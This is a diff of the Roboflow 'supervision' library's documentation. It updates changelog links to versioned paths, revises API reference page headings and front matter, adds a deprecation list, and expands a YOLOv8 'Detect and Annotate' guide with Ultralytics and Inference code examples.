- Changed [#381](https://github.com/roboflow/supervision/pull/381): [`sv.VideoSink`](https://supervision.roboflow.com/utils/video/#videosink) now allows to customize the output codec.
- Changed [#381](https://github.com/roboflow/supervision/pull/381): [`sv.VideoSink`](/0.15.0/utils/video/#videosink) now allows to customize the output codec.
- Changed [#361](https://github.com/roboflow/supervision/pull/361): [`sv.InferenceSlicer`](https://supervision.roboflow.com/detection/tools/inference_slicer/#supervision.detection.tools.inference_slicer.InferenceSlicer) can now operate in multithreading mode.
- Changed [#361](https://github.com/roboflow/supervision/pull/361): [`sv.InferenceSlicer`](/0.15.0/detection/tools/inference_slicer/#supervision.detection.tools.inference_slicer.InferenceSlicer) can now operate in multithreading mode.
- Fixed [#348](https://github.com/roboflow/supervision/pull/348): [`sv.Detections.from_deepsparse`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_deepsparse) to allow processing empty [deepsparse](https://github.com/neuralmagic/deepsparse) result object.
- Fixed [#348](https://github.com/roboflow/supervision/pull/348): [`sv.Detections.from_deepsparse`](/0.15.0/detection/core/#supervision.detection.core.Detections.from_deepsparse) to allow processing empty [deepsparse](https://github.com/neuralmagic/deepsparse) result object.
### 0.14.0 <small>August 31, 2023</small>
- Added [#282](https://github.com/roboflow/supervision/pull/282): support for SAHI inference technique with [`sv.InferenceSlicer`](https://supervision.roboflow.com/detection/tools/inference_slicer).
- Added [#282](https://github.com/roboflow/supervision/pull/282): support for SAHI inference technique with [`sv.InferenceSlicer`](/0.14.0/detection/tools/inference_slicer).
```python
>>> import cv2
@@ -102,23 +227,23 @@
>>> detections = slicer(image)
```
- Added [#297](https://github.com/roboflow/supervision/pull/297): [`Detections.from_deepsparse`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_deepsparse) to enable seamless integration with [DeepSparse](https://github.com/neuralmagic/deepsparse) framework.
- Added [#297](https://github.com/roboflow/supervision/pull/297): [`Detections.from_deepsparse`](/0.14.0/detection/core/#supervision.detection.core.Detections.from_deepsparse) to enable seamless integration with [DeepSparse](https://github.com/neuralmagic/deepsparse) framework.
- Added [#281](https://github.com/roboflow/supervision/pull/281): [`sv.Classifications.from_ultralytics`](https://supervision.roboflow.com/classification/core/#supervision.classification.core.Classifications.from_ultralytics) to enable seamless integration with [Ultralytics](https://github.com/ultralytics/ultralytics) framework. This will enable you to use supervision with all [models](https://docs.ultralytics.com/models/) that Ultralytics supports.
- Added [#281](https://github.com/roboflow/supervision/pull/281): [`sv.Classifications.from_ultralytics`](/0.14.0/classification/core/#supervision.classification.core.Classifications.from_ultralytics) to enable seamless integration with [Ultralytics](https://github.com/ultralytics/ultralytics) framework. This will enable you to use supervision with all [models](https://docs.ultralytics.com/models/) that Ultralytics supports.
!!! warning
!!! failure "Deprecated"
[sv.Detections.from_yolov8](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_yolov8) and [sv.Classifications.from_yolov8](https://supervision.roboflow.com/classification/core/#supervision.classification.core.Classifications.from_yolov8) are now deprecated and will be removed with supervision-0.16.0 release.
[sv.Detections.from_yolov8](/0.14.0/detection/core/#supervision.detection.core.Detections.from_yolov8) and [sv.Classifications.from_yolov8](/0.14.0/classification/core/#supervision.classification.core.Classifications.from_yolov8) are now deprecated and will be removed with `supervision-0.16.0` release.
- Added [#341](https://github.com/roboflow/supervision/pull/341): First supervision usage example script showing how to detect and track objects on video using YOLOv8 + Supervision.
- Changed [#296](https://github.com/roboflow/supervision/pull/296): [`sv.ClassificationDataset`](https://supervision.roboflow.com/dataset/core/#supervision.dataset.core.ClassificationDataset) and [`sv.DetectionDataset`](https://supervision.roboflow.com/dataset/core/#supervision.dataset.core.DetectionDataset) now use image path (not image name) as dataset keys.
- Changed [#296](https://github.com/roboflow/supervision/pull/296): [`sv.ClassificationDataset`](/0.14.0/dataset/core/#supervision.dataset.core.ClassificationDataset) and [`sv.DetectionDataset`](/0.14.0/dataset/core/#supervision.dataset.core.DetectionDataset) now use image path (not image name) as dataset keys.
- Fixed [#300](https://github.com/roboflow/supervision/pull/300): [`Detections.from_roboflow`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_roboflow) to filter out polygons with less than 3 points.
- Fixed [#300](https://github.com/roboflow/supervision/pull/300): [`Detections.from_roboflow`](/0.14.0/detection/core/#supervision.detection.core.Detections.from_roboflow) to filter out polygons with less than 3 points.
### 0.13.0 <small>August 8, 2023</small>
- Added [#236](https://github.com/roboflow/supervision/pull/236): support for mean average precision (mAP) for object detection models with [`sv.MeanAveragePrecision`](https://roboflow.github.io/supervision/metrics/detection/#meanaverageprecision).
- Added [#236](https://github.com/roboflow/supervision/pull/236): support for mean average precision (mAP) for object detection models with [`sv.MeanAveragePrecision`](/0.13.0/metrics/detection/#meanaverageprecision).
```python
>>> import supervision as sv
@@ -140,25 +265,25 @@
0.433
```
- Added [#256](https://github.com/roboflow/supervision/pull/256): support for ByteTrack for object tracking with [`sv.ByteTrack`](https://roboflow.github.io/supervision/tracker/core/#bytetrack).
- Added [#256](https://github.com/roboflow/supervision/pull/256): support for ByteTrack for object tracking with [`sv.ByteTrack`](/0.13.0/tracker/core/#bytetrack).
- Added [#222](https://github.com/roboflow/supervision/pull/222): [`sv.Detections.from_ultralytics`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_ultralytics) to enable seamless integration with [Ultralytics](https://github.com/ultralytics/ultralytics) framework. This will enable you to use `supervision` with all [models](https://docs.ultralytics.com/models/) that Ultralytics supports.
- Added [#222](https://github.com/roboflow/supervision/pull/222): [`sv.Detections.from_ultralytics`](/0.13.0/detection/core/#supervision.detection.core.Detections.from_ultralytics) to enable seamless integration with [Ultralytics](https://github.com/ultralytics/ultralytics) framework. This will enable you to use `supervision` with all [models](https://docs.ultralytics.com/models/) that Ultralytics supports.
!!! warning
!!! failure "Deprecated"
[`sv.Detections.from_yolov8`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_yolov8) is now deprecated and will be removed with `supervision-0.15.0` release.
[`sv.Detections.from_yolov8`](/0.13.0/detection/core/#supervision.detection.core.Detections.from_yolov8) is now deprecated and will be removed with `supervision-0.15.0` release.
- Added [#191](https://github.com/roboflow/supervision/pull/191): [`sv.Detections.from_paddledet`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_paddledet) to enable seamless integration with [PaddleDetection](https://github.com/PaddlePaddle/PaddleDetection) framework.
- Added [#191](https://github.com/roboflow/supervision/pull/191): [`sv.Detections.from_paddledet`](/0.13.0/detection/core/#supervision.detection.core.Detections.from_paddledet) to enable seamless integration with [PaddleDetection](https://github.com/PaddlePaddle/PaddleDetection) framework.
- Added [#245](https://github.com/roboflow/supervision/pull/245): support for loading PASCAL VOC segmentation datasets with [`sv.DetectionDataset.`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.from_pascal_voc).
- Added [#245](https://github.com/roboflow/supervision/pull/245): support for loading PASCAL VOC segmentation datasets with [`sv.DetectionDataset.`](/0.13.0/dataset/core/#supervision.dataset.core.DetectionDataset.from_pascal_voc).
### 0.12.0 <small>July 24, 2023</small>
!!! warning
!!! failure "Python 3.7. Support Terminated"
With the `supervision-0.12.0` release, we are terminating official support for Python 3.7.
- Added [#177](https://github.com/roboflow/supervision/pull/177): initial support for object detection model benchmarking with [`sv.ConfusionMatrix`](https://roboflow.github.io/supervision/metrics/detection/#confusionmatrix).
- Added [#177](https://github.com/roboflow/supervision/pull/177): initial support for object detection model benchmarking with [`sv.ConfusionMatrix`](/0.12.0/metrics/detection/#confusionmatrix).
```python
>>> import supervision as sv
@@ -185,23 +310,23 @@ array([
])
```
- Added [#173](https://github.com/roboflow/supervision/pull/173): [`Detections.from_mmdetection`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_mmdetection) to enable seamless integration with [MMDetection](https://github.com/open-mmlab/mmdetection) framework.
- Added [#173](https://github.com/roboflow/supervision/pull/173): [`Detections.from_mmdetection`](/0.12.0/detection/core/#supervision.detection.core.Detections.from_mmdetection) to enable seamless integration with [MMDetection](https://github.com/open-mmlab/mmdetection) framework.
- Added [#130](https://github.com/roboflow/supervision/issues/130): ability to [install](https://roboflow.github.io/supervision/) package in `headless` or `desktop` mode.
- Added [#130](https://github.com/roboflow/supervision/issues/130): ability to [install](https://supervision.roboflow.com/) package in `headless` or `desktop` mode.
- Changed [#180](https://github.com/roboflow/supervision/pull/180): packing method from `setup.py` to `pyproject.toml`.
- Fixed [#188](https://github.com/roboflow/supervision/issues/188): [`sv.DetectionDataset.from_cooc`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.from_coco) can't be loaded when there are images without annotations.
- Fixed [#188](https://github.com/roboflow/supervision/issues/188): [`sv.DetectionDataset.from_cooc`](/0.12.0/dataset/core/#supervision.dataset.core.DetectionDataset.from_coco) can't be loaded when there are images without annotations.
- Fixed [#226](https://github.com/roboflow/supervision/issues/226): [`sv.DetectionDataset.from_yolo`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.from_yolo) can't load background instances.
- Fixed [#226](https://github.com/roboflow/supervision/issues/226): [`sv.DetectionDataset.from_yolo`](/0.12.0/dataset/core/#supervision.dataset.core.DetectionDataset.from_yolo) can't load background instances.
### 0.11.1 <small>June 29, 2023</small>
- Fix [#165](https://github.com/roboflow/supervision/pull/165): [`as_folder_structure`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.ClassificationDataset.as_folder_structure) fails to save [`sv.ClassificationDataset`](https://roboflow.github.io/supervision/dataset/core/#classificationdataset) when it is result of inference.
- Fix [#165](https://github.com/roboflow/supervision/pull/165): [`as_folder_structure`](/0.11.1/dataset/core/#supervision.dataset.core.ClassificationDataset.as_folder_structure) fails to save [`sv.ClassificationDataset`](/0.11.1/dataset/core/#classificationdataset) when it is result of inference.
### 0.11.0 <small>June 28, 2023</small>
- Added [#150](https://github.com/roboflow/supervision/pull/150): ability to load and save [`sv.DetectionDataset`](https://roboflow.github.io/supervision/dataset/core/#detectiondataset) in COCO format using [`as_coco`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.as_coco) and [`from_coco`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.from_coco) methods.
- Added [#150](https://github.com/roboflow/supervision/pull/150): ability to load and save [`sv.DetectionDataset`](/0.11.0/dataset/core/#detectiondataset) in COCO format using [`as_coco`](/0.11.0/dataset/core/#supervision.dataset.core.DetectionDataset.as_coco) and [`from_coco`](/0.11.0/dataset/core/#supervision.dataset.core.DetectionDataset.from_coco) methods.
```python
>>> import supervision as sv
@@ -217,7 +342,7 @@ array([
... )
```
- Added [#158](https://github.com/roboflow/supervision/pull/158): ability to marge multiple [`sv.DetectionDataset`](https://roboflow.github.io/supervision/dataset/core/#detectiondataset) together using [`merge`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.merge) method.
- Added [#158](https://github.com/roboflow/supervision/pull/158): ability to merge multiple [`sv.DetectionDataset`](/0.11.0/dataset/core/#detectiondataset) together using [`merge`](/0.11.0/dataset/core/#supervision.dataset.core.DetectionDataset.merge) method.
```python
>>> import supervision as sv
@@ -241,13 +366,13 @@ array([
['cat', 'dog', 'person']
```
- Added [#162](https://github.com/roboflow/supervision/pull/162): additional `start` and `end` arguments to [`sv.get_video_frames_generator`](https://roboflow.github.io/supervision/utils/video/#get_video_frames_generator) allowing to generate frames only for a selected part of the video.
- Added [#162](https://github.com/roboflow/supervision/pull/162): additional `start` and `end` arguments to [`sv.get_video_frames_generator`](/0.11.0/utils/video/#get_video_frames_generator) allowing to generate frames only for a selected part of the video.
- Fix [#157](https://github.com/roboflow/supervision/pull/157): incorrect loading of YOLO dataset class names from `data.yaml`.
### 0.10.0 <small>June 14, 2023</small>
- Added [#125](https://github.com/roboflow/supervision/pull/125): ability to load and save [`sv.ClassificationDataset`](https://roboflow.github.io/supervision/dataset/core/#classificationdataset) in a folder structure format.
- Added [#125](https://github.com/roboflow/supervision/pull/125): ability to load and save [`sv.ClassificationDataset`](/0.10.0/dataset/core/#classificationdataset) in a folder structure format.
```python
>>> import supervision as sv
@@ -261,9 +386,9 @@ array([
... )
```
- Added [#125](https://github.com/roboflow/supervision/pull/125): support for [`sv.ClassificationDataset.split`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.ClassificationDataset.split) allowing to divide `sv.ClassificationDataset` into two parts.
- Added [#125](https://github.com/roboflow/supervision/pull/125): support for [`sv.ClassificationDataset.split`](/0.10.0/dataset/core/#supervision.dataset.core.ClassificationDataset.split) allowing to divide `sv.ClassificationDataset` into two parts.
- Added [#110](https://github.com/roboflow/supervision/pull/110): ability to extract masks from Roboflow API results using [`sv.Detections.from_roboflow`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_roboflow).
- Added [#110](https://github.com/roboflow/supervision/pull/110): ability to extract masks from Roboflow API results using [`sv.Detections.from_roboflow`](/0.10.0/detection/core/#supervision.detection.core.Detections.from_roboflow).
- Added [commit hash](https://github.com/roboflow/supervision/commit/d000292eb2f2342544e0947b65528082e60fb8d6): Supervision Quickstart [notebook](https://colab.research.google.com/github/roboflow/supervision/blob/main/demo.ipynb) where you can learn more about Detection, Dataset and Video APIs.
@@ -271,7 +396,7 @@ array([
### 0.9.0 <small>June 7, 2023</small>
- Added [#118](https://github.com/roboflow/supervision/pull/118): ability to select [`sv.Detections`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.__getitem__) by index, list of indexes or slice. Here is an example illustrating the new selection methods.
- Added [#118](https://github.com/roboflow/supervision/pull/118): ability to select [`sv.Detections`](/0.9.0/detection/core/#supervision.detection.core.Detections.__getitem__) by index, list of indexes or slice. Here is an example illustrating the new selection methods.
```python
>>> import supervision as sv
@@ -285,11 +410,11 @@ array([
2
```
- Added [#101](https://github.com/roboflow/supervision/pull/101): ability to extract masks from YOLOv8 result using [`sv.Detections.from_yolov8`](https://roboflow.github.io/supervision/detection/core/#supervision.detection.core.Detections.from_yolov8). Here is an example illustrating how to extract boolean masks from the result of the YOLOv8 model inference.
- Added [#101](https://github.com/roboflow/supervision/pull/101): ability to extract masks from YOLOv8 result using [`sv.Detections.from_yolov8`](/0.8.0/detection/core/#supervision.detection.core.Detections.from_yolov8). Here is an example illustrating how to extract boolean masks from the result of the YOLOv8 model inference.
- Added [#122](https://github.com/roboflow/supervision/pull/122): ability to crop image using [`sv.crop`](https://roboflow.github.io/supervision/utils/image/#crop). Here is an example showing how to get a separate crop for each detection in `sv.Detections`.
- Added [#122](https://github.com/roboflow/supervision/pull/122): ability to crop image using [`sv.crop`](/latest/utils/image/#crop). Here is an example showing how to get a separate crop for each detection in `sv.Detections`.
- Added [#120](https://github.com/roboflow/supervision/pull/120): ability to conveniently save multiple images into directory using [`sv.ImageSink`](https://roboflow.github.io/supervision/utils/image/#imagesink). Here is an example showing how to save every tenth video frame as a separate image.
- Added [#120](https://github.com/roboflow/supervision/pull/120): ability to conveniently save multiple images into directory using [`sv.ImageSink`](/0.9.0/utils/image/#imagesink). Here is an example showing how to save every tenth video frame as a separate image.
```python
>>> import supervision as sv
@@ -299,12 +424,12 @@ array([
... sink.save_image(image=image)
```
- Fixed [#106](https://github.com/roboflow/supervision/issues/106): inconvenient handling of [`sv.PolygonZone`](https://roboflow.github.io/supervision/detection/tools/polygon_zone/#polygonzone) coordinates. Now `sv.PolygonZone` accepts coordinates in the form of `[[x1, y1], [x2, y2], ...]` that can be both integers and floats.
- Fixed [#106](https://github.com/roboflow/supervision/issues/106): inconvenient handling of [`sv.PolygonZone`](/0.8.0/supervision/detection/tools/polygon_zone/#polygonzone) coordinates. Now `sv.PolygonZone` accepts coordinates in the form of `[[x1, y1], [x2, y2], ...]` that can be both integers and floats.
### 0.8.0 <small>May 17, 2023</small>
- Added [#100](https://github.com/roboflow/supervision/pull/100): support for dataset inheritance. The current `Dataset` got renamed to `DetectionDataset`. Now [`DetectionDataset`](https://roboflow.github.io/supervision/dataset/core/#detectiondataset) inherits from `BaseDataset`. This change was made to enforce the future consistency of APIs of different types of computer vision datasets.
- Added [#100](https://github.com/roboflow/supervision/pull/100): ability to save datasets in YOLO format using [`DetectionDataset.as_yolo`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.as_yolo).
- Added [#100](https://github.com/roboflow/supervision/pull/100): support for dataset inheritance. The current `Dataset` got renamed to `DetectionDataset`. Now [`DetectionDataset`](/0.8.0/supervision/dataset/core/#detectiondataset) inherits from `BaseDataset`. This change was made to enforce the future consistency of APIs of different types of computer vision datasets.
- Added [#100](https://github.com/roboflow/supervision/pull/100): ability to save datasets in YOLO format using [`DetectionDataset.as_yolo`](/0.8.0/dataset/core/#supervision.dataset.core.DetectionDataset.as_yolo).
```python
>>> import roboflow
@@ -328,7 +453,7 @@ array([
['dog', 'person']
```
- Added [#102](https://github.com/roboflow/supervision/pull/103): support for [`DetectionDataset.split`](https://roboflow.github.io/supervision/dataset/core/#supervision.dataset.core.DetectionDataset.split) allowing to divide `DetectionDataset` into two parts.
- Added [#102](https://github.com/roboflow/supervision/pull/103): support for [`DetectionDataset.split`](/0.8.0/dataset/core/#supervision.dataset.core.DetectionDataset.split) allowing to divide `DetectionDataset` into two parts.
```python
>>> import supervision as sv
+5 -1
View File
@@ -1,3 +1,7 @@
## Classifications
---
comments: true
---
# Classifications
:::supervision.classification.core.Classifications
+5
View File
@@ -0,0 +1,5 @@
# Code of conduct
```
--8<-- "CODE_OF_CONDUCT.md"
```
+1
View File
@@ -0,0 +1 @@
--8<-- "CONTRIBUTING.md"
+8
View File
@@ -0,0 +1,8 @@
---
template: cookbooks.html
comments: true
status: new
hide:
- navigation
- toc
---
+12 -2
View File
@@ -1,12 +1,22 @@
---
comments: true
---
# Datasets
!!! warning
Dataset API is still fluid and may change. If you use Dataset API in your project until further notice, freeze the
`supervision` version in your `requirements.txt` or `setup.py`.
## DetectionDataset
<div class="md-typeset">
<h2>DetectionDataset</h2>
</div>
:::supervision.dataset.core.DetectionDataset
## ClassificationDataset
<div class="md-typeset">
<h2>ClassificationDataset</h2>
</div>
:::supervision.dataset.core.ClassificationDataset
+16
View File
@@ -0,0 +1,16 @@
---
comments: true
status: deprecated
---
These features are phased out due to better alternatives or potential issues in future versions. Deprecated functionalities are supported for **three subsequent releases**, providing time for users to transition to updated methods.
- [`Detections.from_froboflow`](detection/core.md/#supervision.detection.core.Detections.from_roboflow) is deprecated and will be removed in `supervision-0.22.0`. Use [`Detections.from_inference`](detection/core.md/#supervision.detection.core.Detections.from_inference) instead.
- `Color.white()` is deprecated and will be removed in `supervision-0.22.0`. Use `Color.WHITE` instead.
- `Color.black()` is deprecated and will be removed in `supervision-0.22.0`. Use `Color.BLACK` instead.
- `Color.red()` is deprecated and will be removed in `supervision-0.22.0`. Use `Color.RED` instead.
- `Color.green()` is deprecated and will be removed in `supervision-0.22.0`. Use `Color.GREEN` instead.
- `Color.blue()` is deprecated and will be removed in `supervision-0.22.0`. Use `Color.BLUE` instead.
- [`ColorPalette.default()`](draw/color.md/#supervision.draw.color.ColorPalette.default) is deprecated and will be removed in `supervision-0.22.0`. Use [`ColorPalette.DEFAULT`](draw/color.md/#supervision.draw.color.ColorPalette.DEFAULT) instead.
- `BoxAnnotator` is deprecated and will be removed in `supervision-0.22.0`. Use [`BoundingBoxAnnotator`](annotators.md/#supervision.annotators.core.BoundingBoxAnnotator) and [`LabelAnnotator`](annotators.md/#supervision.annotators.core.LabelAnnotator) instead.
- [`FPSMonitor.__call__`](utils/video.md/#supervision.utils.video.FPSMonitor.__call__) is deprecated and will be removed in `supervision-0.22.0`. Use [`FPSMonitor.fps`](utils/video.md/#supervision.utils.video.FPSMonitor.fps) instead.
+6 -1
View File
@@ -1,3 +1,8 @@
## Detections
---
comments: true
status: new
---
# Detections
:::supervision.detection.core.Detections
+5 -1
View File
@@ -1,3 +1,7 @@
## InferenceSlicer
---
comments: true
---
# InferenceSlicer
:::supervision.detection.tools.inference_slicer.InferenceSlicer
+5 -1
View File
@@ -1,3 +1,7 @@
## LineZone
---
comments: true
---
# LineZone
:::supervision.detection.line_counter.LineZone
+8 -2
View File
@@ -1,7 +1,13 @@
## PolygonZone
---
comments: true
---
# PolygonZone
:::supervision.detection.tools.polygon_zone.PolygonZone
## PolygonZoneAnnotator
<div class="md-typeset">
<h2>PolygonZoneAnnotator</h2>
</div>
:::supervision.detection.tools.polygon_zone.PolygonZoneAnnotator
+12
View File
@@ -0,0 +1,12 @@
---
comments: true
status: new
---
# Save Detections
<div class="md-typeset">
<h2>CSV Sink</h2>
</div>
:::supervision.detection.tools.csv_sink.CSVSink
+8
View File
@@ -0,0 +1,8 @@
---
comments: true
status: new
---
# Detection Smoother
:::supervision.detection.tools.smoother.DetectionsSmoother
+52 -8
View File
@@ -1,27 +1,71 @@
## box_iou_batch
---
comments: true
---
# Detection Utils
<div class="md-typeset">
<h2>box_iou_batch</h2>
</div>
:::supervision.detection.utils.box_iou_batch
## non_max_suppression
<div class="md-typeset">
<h2>mask_iou_batch</h2>
</div>
:::supervision.detection.utils.non_max_suppression
:::supervision.detection.utils.mask_iou_batch
## polygon_to_mask
<div class="md-typeset">
<h2>box_non_max_suppression</h2>
</div>
:::supervision.detection.utils.box_non_max_suppression
<div class="md-typeset">
<h2>mask_non_max_suppression</h2>
</div>
:::supervision.detection.utils.mask_non_max_suppression
<div class="md-typeset">
<h2>polygon_to_mask</h2>
</div>
:::supervision.detection.utils.polygon_to_mask
## mask_to_xyxy
<div class="md-typeset">
<h2>mask_to_xyxy</h2>
</div>
:::supervision.detection.utils.mask_to_xyxy
## mask_to_polygons
<div class="md-typeset">
<h2>mask_to_polygons</h2>
</div>
:::supervision.detection.utils.mask_to_polygons
## polygon_to_xyxy
<div class="md-typeset">
<h2>polygon_to_xyxy</h2>
</div>
:::supervision.detection.utils.polygon_to_xyxy
## filter_polygons_by_area
<div class="md-typeset">
<h2>filter_polygons_by_area</h2>
</div>
:::supervision.detection.utils.filter_polygons_by_area
<div class="md-typeset">
<h2>move_boxes</h2>
</div>
:::supervision.detection.utils.move_boxes
<div class="md-typeset">
<h2>scale_boxes</h2>
</div>
:::supervision.detection.utils.scale_boxes
+8 -2
View File
@@ -1,7 +1,13 @@
## Color
---
comments: true
---
# Color
:::supervision.draw.color.Color
## ColorPalette
<div class="md-typeset">
<h2>ColorPalette</h2>
</div>
:::supervision.draw.color.ColorPalette
+36 -6
View File
@@ -1,23 +1,53 @@
## draw_line
---
comments: true
---
# Draw Utils
<div class="md-typeset">
<h2>draw_line</h2>
</div>
:::supervision.draw.utils.draw_line
## draw_rectangle
<div class="md-typeset">
<h2>draw_rectangle</h2>
</div>
:::supervision.draw.utils.draw_rectangle
## draw_filled_rectangle
<div class="md-typeset">
<h2>draw_filled_rectangle</h2>
</div>
:::supervision.draw.utils.draw_filled_rectangle
## draw_polygon
<div class="md-typeset">
<h2>draw_polygon</h2>
</div>
:::supervision.draw.utils.draw_polygon
## draw_text
<div class="md-typeset">
<h2>draw_text</h2>
</div>
:::supervision.draw.utils.draw_text
## draw_image
<div class="md-typeset">
<h2>draw_image</h2>
</div>
:::supervision.draw.utils.draw_image
<div class="md-typeset">
<h2>calculate_dynamic_font_scale</h2>
</div>
:::supervision.draw.utils.calculate_dynamic_text_scale
<div class="md-typeset">
<h2>calculate_dynamic_line_thickness</h2>
</div>
:::supervision.draw.utils.calculate_dynamic_line_thickness
+5 -1
View File
@@ -1,3 +1,7 @@
## Position
---
comments: true
---
# Position
:::supervision.geometry.core.Position
+115 -48
View File
@@ -1,77 +1,144 @@
With Supervision, you can easily [annotate](https://supervision.roboflow.com/annotators/) predictions obtained from a variety of object detection and segmentation models. This document outlines how to run inference using the [Ultralytics](https://github.com/ultralytics/ultralytics) YOLOv8 model, load these predictions into Supervision, and annotate the image.
---
comments: true
---
# Detect and Annotate
Supervision offers a streamlined solution to effortlessly annotate predictions from a
range of object detection and segmentation models. This guide demonstrates how to
execute inference using the YOLOv8 model with either the
[Inference](https://github.com/roboflow/inference) or
[Ultralytics](https://github.com/ultralytics/ultralytics) packages. Following this,
you'll learn how to import these predictions into Supervision for image annotation
purposes.
## Run Inference
First, you'll need to obtain predictions from your object detection or segmentation model.
```python
import cv2
from ultralytics import YOLO
model = YOLO("yolov8n.pt")
image = cv2.imread("image.jpg")
results = model(image)[0]
```
=== "Ultralytics"
```python
import cv2
from ultralytics import YOLO
model = YOLO("yolov8n.pt")
image = cv2.imread(<PATH TO IMAGE>)
results = model(image)[0]
```
=== "Inference"
```python
import cv2
from inference.models.utils import get_roboflow_model
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
image = cv2.imread(<PATH TO IMAGE>)
results = model.infer(image)[0]
```
## Load Predictions into Supervision
Now that we have predictions from a model, we can load them into Supervision. We can do so using the [`sv.Detections.from_ultralytics`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_ultralytics) method, which accepts model results from both detection and segmentation models.
Now that we have predictions from a model, we can load them into Supervision.
```python
import cv2
from ultralytics import YOLO
import supervision as sv
=== "Ultralytics"
model = YOLO("yolov8n.pt")
image = cv2.imread("image.jpg")
results = model(image)[0]
detections = sv.Detections.from_ultralytics(results)
```
We can do so using the [`sv.Detections.from_ultralytics`](detection/core/#supervision.detection.core.Detections.from_ultralytics) method, which accepts model results from both detection and segmentation models.
```python
import cv2
import supervision as sv
from ultralytics import YOLO
model = YOLO("yolov8n.pt")
image = cv2.imread(<PATH TO IMAGE>)
results = model(image)[0]
detections = sv.Detections.from_ultralytics(results)
```
=== "Inference"
We can do so using the [`sv.Detections.from_inference`](detection/core/#supervision.detection.core.Detections.from_inference) method, which accepts model results from both detection and segmentation models.
```python
import cv2
import supervision as sv
from inference.models.utils import get_roboflow_model
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>
image = cv2.imread(<PATH TO IMAGE>)
results = model.infer(image)[0]
detections = sv.Detections.from_inference(results)
```
You can conveniently load predictions from other computer vision frameworks and libraries using:
- [`from_deepsparse`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_deepsparse) ([Deepsparse](https://github.com/neuralmagic/deepsparse))
- [`from_detectron2`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_detectron2) ([Detectron2](https://github.com/facebookresearch/detectron2))
- [`from_mmdetection`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_mmdetection) ([MMDetection](https://github.com/open-mmlab/mmdetection))
- [`from_roboflow`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_roboflow) ([Roboflow Inference](https://github.com/roboflow/inference))
- [`from_sam`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_sam) ([Segment Anything Model](https://github.com/facebookresearch/segment-anything))
- [`from_transformers`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_transformers) ([HuggingFace Transformers](https://github.com/huggingface/transformers))
- [`from_yolo_nas`](https://supervision.roboflow.com/detection/core/#supervision.detection.core.Detections.from_yolo_nas) ([YOLO-NAS](https://github.com/Deci-AI/super-gradients/blob/master/YOLONAS.md))
- [`from_deepsparse`](detection/core/#supervision.detection.core.Detections.from_deepsparse) ([Deepsparse](https://github.com/neuralmagic/deepsparse))
- [`from_detectron2`](detection/core/#supervision.detection.core.Detections.from_detectron2) ([Detectron2](https://github.com/facebookresearch/detectron2))
- [`from_mmdetection`](detection/core/#supervision.detection.core.Detections.from_mmdetection) ([MMDetection](https://github.com/open-mmlab/mmdetection))
- [`from_inference`](detection/core/#supervision.detection.core.Detections.from_inference) ([Roboflow Inference](https://github.com/roboflow/inference))
- [`from_sam`](detection/core/#supervision.detection.core.Detections.from_sam) ([Segment Anything Model](https://github.com/facebookresearch/segment-anything))
- [`from_transformers`](detection/core/#supervision.detection.core.Detections.from_transformers) ([HuggingFace Transformers](https://github.com/huggingface/transformers))
- [`from_yolo_nas`](detection/core/#supervision.detection.core.Detections.from_yolo_nas) ([YOLO-NAS](https://github.com/Deci-AI/super-gradients/blob/master/YOLONAS.md))
## Annotate Image
Finally, we can annotate the image with the predictions. Since we are working with an object detection model, we will use the [`sv.BoundingBoxAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoundingBoxAnnotator) and [`sv.LabelAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.LabelAnnotator) classes. If you are running the segmentation model [`sv.MaskAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.MaskAnnotator) is a drop-in replacement for [`sv.BoundingBoxAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.BoundingBoxAnnotator) that will allow you to draw masks instead of boxes.
Finally, we can annotate the image with the predictions. Since we are working with an object detection model, we will use the [`sv.BoundingBoxAnnotator`](annotators/#supervision.annotators.core.BoundingBoxAnnotator) and [`sv.LabelAnnotator`](annotators/#supervision.annotators.core.LabelAnnotator) classes. If you are running the segmentation model [`sv.MaskAnnotator`](annotators/#supervision.annotators.core.MaskAnnotator) is a drop-in replacement for [`sv.BoundingBoxAnnotator`](annotators/#supervision.annotators.core.BoundingBoxAnnotator) that will allow you to draw masks instead of boxes.
```python
import cv2
from ultralytics import YOLO
import supervision as sv
=== "Ultralytics"
model = YOLO("yolov8n.pt")
image = cv2.imread("image.jpg")
results = model(image)[0]
detections = sv.Detections.from_ultralytics(results)
```python
import cv2
import supervision as sv
from ultralytics import YOLO
bounding_box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
